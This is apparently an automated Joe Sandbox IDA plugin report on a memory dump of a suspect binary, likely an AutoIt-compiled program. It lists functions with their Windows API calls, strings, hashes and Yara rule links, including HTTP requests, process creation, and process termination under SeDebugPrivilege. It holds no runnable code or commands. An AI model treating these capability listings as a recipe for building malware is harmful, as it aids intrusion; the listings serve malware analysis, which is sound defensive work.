
Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 45be8cb6db53f26231e5f6ea5dc51d78dd71e922d2c79d4f412af9681330ee58
Instruction ID: c7f3d6295831a63a4cd8beb458796ddd548552632b2982ca09115ccbcf609552
Opcode Fuzzy Hash: 45be8cb6db53f26231e5f6ea5dc51d78dd71e922d2c79d4f412af9681330ee58
Instruction Fuzzy Hash: ED71E031400209DFDF329F68EC85AEA7BB5FF49350F148269ED566A2A6C7398C41DF60

Function 0078ECD4 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0073B34E: GetWindowLongW.USER32(?,000000EB), ref: 0073B35F

Part of subcall function 0073B63C: GetCursorPos.USER32(000000FF), ref: 0073B64F
Part of subcall function 0073B63C: ScreenToClient.USER32(00000000,000000FF), ref: 0073B66C
Part of subcall function 0073B63C: GetAsyncKeyState.USER32(00000001), ref: 0073B691
Part of subcall function 0073B63C: GetAsyncKeyState.USER32(00000002), ref: 0073B69F

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?), ref: 0078ED3C
ImageList_EndDrag.COMCTL32 ref: 0078ED42
ReleaseCapture.USER32 ref: 0078ED48
SetWindowTextW.USER32(?,00000000), ref: 0078EDF0
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0078EE03
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?), ref: 0078EEDC

Strings

@GUI_DROPID, xrefs: 0078EE33
@GUI_DRAGFILE, xrefs: 0078EE77

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: e0709253ea41fba54988ca76c7fb7ea8b9b38efedf0b895731e36ccf47dbb8c5
Instruction ID: 4a589d17766bf8b15095da56b920807fca786dc1732ffac9996345c5dab5964a
Opcode Fuzzy Hash: e0709253ea41fba54988ca76c7fb7ea8b9b38efedf0b895731e36ccf47dbb8c5
Instruction Fuzzy Hash: 97519970204304EFE714EF24DC9AF6A77E4EB88314F40892DF5959B2E2DB789954CB62

Function 007745C4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 007745FF
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0077462B
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 0077466D
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00774682
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0077468F
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 007746BF
InternetCloseHandle.WININET(00000000), ref: 00774706

Part of subcall function 00775052: GetLastError.KERNEL32(?,?,007743CC,00000000,00000000,00000001), ref: 00775067

Strings

, xrefs: 007746B8

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorHandleInfoLastOpenSend
String ID:
API String ID: 1241431887-3916222277
Opcode ID: a43e09cb1bbd4aeb170cc80c32e1e35dc78d309a20eae42baf9ccc96a5c00be1
Instruction ID: 51a9d48b56a7ce851697bec4ef3ce21d388d0b35fa1c044a83e3847d58d85d62
Opcode Fuzzy Hash: a43e09cb1bbd4aeb170cc80c32e1e35dc78d309a20eae42baf9ccc96a5c00be1
Instruction Fuzzy Hash: 0A417CB1501219BFEF159F60CC89FBA77ACFF09394F008126FA09DA151D7B89D448BA4

Function 0077B644 Relevance: 13.9, APIs: 9, Instructions: 432COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,007BDC00), ref: 0077B715
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,007BDC00), ref: 0077B749
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 0077B8C1
SysFreeString.OLEAUT32(?), ref: 0077B8EB

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 146b48f70974c279b4db5642e76f7710b4df13dec79fb194ec65a855e7017c38
Instruction ID: c1dd4310f622e087bc44e23ef5b15c15eb01e2d64c2ece0dc66923dce82ddf17
Opcode Fuzzy Hash: 146b48f70974c279b4db5642e76f7710b4df13dec79fb194ec65a855e7017c38
Instruction Fuzzy Hash: 19F12A71A00209EFCF14DF94C888EAEB7B9FF89355F108459F919AB250DB35AE45CB90

Function 007824D4 Relevance: 13.9, APIs: 9, Instructions: 376processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 007824F5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00782688
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 007826AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 007826EC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0078270E
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0078286F
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 007828A1
CloseHandle.KERNEL32(?), ref: 007828D0
CloseHandle.KERNEL32(?), ref: 00782947

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: ac477ec7d9e2ff385c92b25d9fa7f35dfbd6e7de00fff47845bb1bdcff340bd0
Instruction ID: 9f771828b1f213a55f6165b9c3912cb5cd76d0b05db844bdb357d9e2e3c68b34
Opcode Fuzzy Hash: ac477ec7d9e2ff385c92b25d9fa7f35dfbd6e7de00fff47845bb1bdcff340bd0
Instruction Fuzzy Hash: FAD1C031644300DFCB15EF24C495A6EBBE5BF84310F14845DF99A9B2A2DB39EC41CB52

Function 0078B33A Relevance: 13.7, APIs: 9, Instructions: 167COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 0078B3F4

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 4ba67a1687d52cccffcdda5a06cd7879e8533d97b42a297e69a45306cc96c0af
Instruction ID: 2e2db08afa2003672943f4bcddef8580b28985b4a54857984b9cf31d15e691c6
Opcode Fuzzy Hash: 4ba67a1687d52cccffcdda5a06cd7879e8533d97b42a297e69a45306cc96c0af
Instruction Fuzzy Hash: 2D519030580244FBEF34AF28CCCABAD3B64EB05364F644011F619D66E2C77DE9549B51

Function 0073A699 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0079DB1B
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0079DB3C
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0079DB51
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0079DB6E
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0079DB95
DestroyIcon.USER32(00000000,?,?,?,?,?,?,0073A67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 0079DBA0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0079DBBD
DestroyIcon.USER32(00000000,?,?,?,?,?,?,0073A67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 0079DBC8

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 0faed84ddbd3bbb85970c4ed6cf2154a43a467cda35755c9746aa502c6fc1421
Instruction ID: 7574ba4cc4ce103db6e48b6be7466e04426bf2920ab16e1db98f3c3bf543e08f
Opcode Fuzzy Hash: 0faed84ddbd3bbb85970c4ed6cf2154a43a467cda35755c9746aa502c6fc1421
Instruction Fuzzy Hash: 62518B70600208EFEF24DF68DC86FAA37B9EB48350F104519F9469B6D1D7B8AD80CB50

Function 00767555 Relevance: 13.6, APIs: 9, Instructions: 142filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00766EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00765FA6,?), ref: 00766ED8

Part of subcall function 00766EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00765FA6,?), ref: 00766EF1

Part of subcall function 007672CB: GetFileAttributesW.KERNEL32(?,00766019), ref: 007672CC

lstrcmpiW.KERNEL32(?,?), ref: 007675CA
_wcscmp.LIBCMT ref: 007675E2
MoveFileW.KERNEL32(?,?), ref: 007675FB

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 3fa8ccde6bf65fa3928e05405525c4da118cb68f8831a39934493df04bc92924
Instruction ID: f8b1d49cb43de4066cb6fffce07dda0749eb325aa75ed4fc1bc39d0998be653a
Opcode Fuzzy Hash: 3fa8ccde6bf65fa3928e05405525c4da118cb68f8831a39934493df04bc92924
Instruction Fuzzy Hash: E65142B2A092199EDF54EB94D885DDD73BCAF08354F00409AFA06E3541EB7896C9CF70

Function 0073EA69 Relevance: 13.6, APIs: 9, Instructions: 135COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,0079DAD1,00000004,00000000,00000000), ref: 0073EAEB
ShowWindow.USER32(00000000,00000000,00000000,00000000,00000000,?,0079DAD1,00000004,00000000,00000000), ref: 0073EB32
ShowWindow.USER32(00000000,00000006,00000000,00000000,00000000,?,0079DAD1,00000004,00000000,00000000), ref: 0079DC86
ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,0079DAD1,00000004,00000000,00000000), ref: 0079DCF2

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 84f1b80a77cd5061dce6d36e4993ce5cfa28fe0b7136e0148a1858008ad3b301
Instruction ID: b69762127346996f42cf3551c838f69a85e7fb3d02a63e8c14e9a16265664a35
Opcode Fuzzy Hash: 84f1b80a77cd5061dce6d36e4993ce5cfa28fe0b7136e0148a1858008ad3b301
Instruction Fuzzy Hash: 3141DAF0205680DEEB3A4B289D8DE7ABA96AB86304F594409E087469E3C77D7C40D725

Function 0075B263 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C), ref: 0075B26C
HeapAlloc.KERNEL32(00000000), ref: 0075B273
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0075B288
GetCurrentProcess.KERNEL32(?,00000000), ref: 0075B290
DuplicateHandle.KERNEL32(00000000), ref: 0075B293
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002), ref: 0075B2A3
GetCurrentProcess.KERNEL32(?,00000000), ref: 0075B2AB
DuplicateHandle.KERNEL32(00000000), ref: 0075B2AE
CreateThread.KERNEL32(00000000,00000000,0075B2D4,00000000,00000000,00000000), ref: 0075B2C8

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 62d2db6507bb194490e6c35c3600d0a87d04224b90ccf2a0bb067f9e0322873c
Instruction ID: 5d4742ba04fbcf6ce2d0e4a96fd7b67ca9f1f79feced82800cb6cc453fd59d45
Opcode Fuzzy Hash: 62d2db6507bb194490e6c35c3600d0a87d04224b90ccf2a0bb067f9e0322873c
Instruction Fuzzy Hash: B201BFB5240308BFEB20ABA5DC4DF6B7BACEB89711F018411FA05DB591C6B49C00CB65

Function 0077C43F Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 0077C876, 0077C887
Not an Object type, xrefs: 0077C49E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: efd1889b790c6973c9644a9e79511e0dcd2b7a6f0e1c2a303361f17160830d0f
Instruction ID: b4d66d10c7b08f9784a3f319df22fc1ff74b782bfd7420ef9c45baafe7fc4efa
Opcode Fuzzy Hash: efd1889b790c6973c9644a9e79511e0dcd2b7a6f0e1c2a303361f17160830d0f
Instruction Fuzzy Hash: 59E1D371A00219AFDF15DFA4D885AAE77B9EF4C394F14802DF909AB281D778AD41CB90

Function 007716DA Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 309COMMON

Download Yara Rule

APIs

Part of subcall function 0072936C: __swprintf.LIBCMT ref: 007293AB
Part of subcall function 0072936C: __itow.LIBCMT ref: 007293DF

Part of subcall function 0073C6F4: _wcscpy.LIBCMT ref: 0073C717

_wcstok.LIBCMT ref: 0077184E
_wcscpy.LIBCMT ref: 007718DD
_memset.LIBCMT ref: 00771910

Strings

X, xrefs: 00771948
p2}l2}, xrefs: 00771920

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X$p2}l2}
API String ID: 774024439-327999303
Opcode ID: b13c03270db3661edcf28719eeb3e0ccc693a8341948d98e82791167cfa8b015
Instruction ID: fd653661032e72a838299189695123e83ff571ab129d7989309451134de53142
Opcode Fuzzy Hash: b13c03270db3661edcf28719eeb3e0ccc693a8341948d98e82791167cfa8b015
Instruction Fuzzy Hash: 5AC19071504350DFC724EF28D889A9EB7E0BF95350F41892DF999972A2DB38ED05CB82

Function 00789A75 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 142windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00789B19
SendMessageW.USER32(?,00001036,00000000,?), ref: 00789B2D
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00789B47
_wcscat.LIBCMT ref: 00789BA2
SendMessageW.USER32(?,00001057,00000000,?), ref: 00789BB9
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00789BE7

Strings

SysListView32, xrefs: 00789AEB

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 947dce1c23bc366096fccf13471ac105435d38142cc7444f4c2de5b05c72cdad
Instruction ID: babba1eb5bcf2723f33e7263dac08047d936b4f808c1ba8dff038b21ce47bd3a
Opcode Fuzzy Hash: 947dce1c23bc366096fccf13471ac105435d38142cc7444f4c2de5b05c72cdad
Instruction Fuzzy Hash: E341B570940308EFDB21AF64CC85BEE77B8EF48350F14442AF645A7291D7799D84CB64

Function 0078172F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 00766532: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00766554
Part of subcall function 00766532: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00766564
Part of subcall function 00766532: CloseHandle.KERNEL32(00000000,?,00000000), ref: 007665F9

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0078179A
GetLastError.KERNEL32 ref: 007817AD
OpenProcess.KERNEL32(00000001,00000000,?), ref: 007817D9
TerminateProcess.KERNEL32(00000000,00000000), ref: 00781855
GetLastError.KERNEL32(00000000), ref: 00781860
CloseHandle.KERNEL32(00000000), ref: 00781895

Strings

SeDebugPrivilege, xrefs: 007817B8

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: aab3a62fbab8b30a71556e7fb8dab5cd9ca4cc9555c4f62c4aaf72e090123734
Instruction ID: c4f393b5eb5d710fac7bc574115377c9b40c6b154fc245c229cf35f419fa3185
Opcode Fuzzy Hash: aab3a62fbab8b30a71556e7fb8dab5cd9ca4cc9555c4f62c4aaf72e090123734
Instruction Fuzzy Hash: 12419B72640204EFDB15EF54C8AAFADB7A5AF44310F058059F9069F283DBBCAD068B91

Function 00765819 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 007658B8

Strings

info, xrefs: 00765859
question, xrefs: 00765871
blank, xrefs: 0076583A
stop, xrefs: 00765889
warning, xrefs: 007658A1

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: b3a2a364bbc0af99b660c38dc8c7782e3a93b8bb12992984f17d42d3a1a870ac
Instruction ID: a2338bca4b1f851294503f2998e95cf620332d4b4d9c22a4f8fc0dc46843f97c
Opcode Fuzzy Hash: b3a2a364bbc0af99b660c38dc8c7782e3a93b8bb12992984f17d42d3a1a870ac
Instruction Fuzzy Hash: D9110D75209B43FEE7155B549C82D6A27AC9F15310F20003BFE02E7681E77CAA0056A5

Function 0076A729 Relevance: 12.3, APIs: 8, Instructions: 317COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(?,00000000), ref: 0076A806

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 47c54723ecc4253faa6d013145e343acd2cf5131171d02a7846f356603cea810
Instruction ID: 6c436935a1c5b98489666328537700d24b955a5bedb1db2b075a62c6a62e6463
Opcode Fuzzy Hash: 47c54723ecc4253faa6d013145e343acd2cf5131171d02a7846f356603cea810
Instruction Fuzzy Hash: 6EC17D75A0421AEFDB14CF98C485BAEB7F4FF09315F24806AEA06E7241D738A941CF91

Function 00766B49 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00766B63
LoadStringW.USER32(00000000), ref: 00766B6A
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00766B80
LoadStringW.USER32(00000000), ref: 00766B87
_wprintf.LIBCMT ref: 00766BAD
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00766BCB

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00766BA8

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
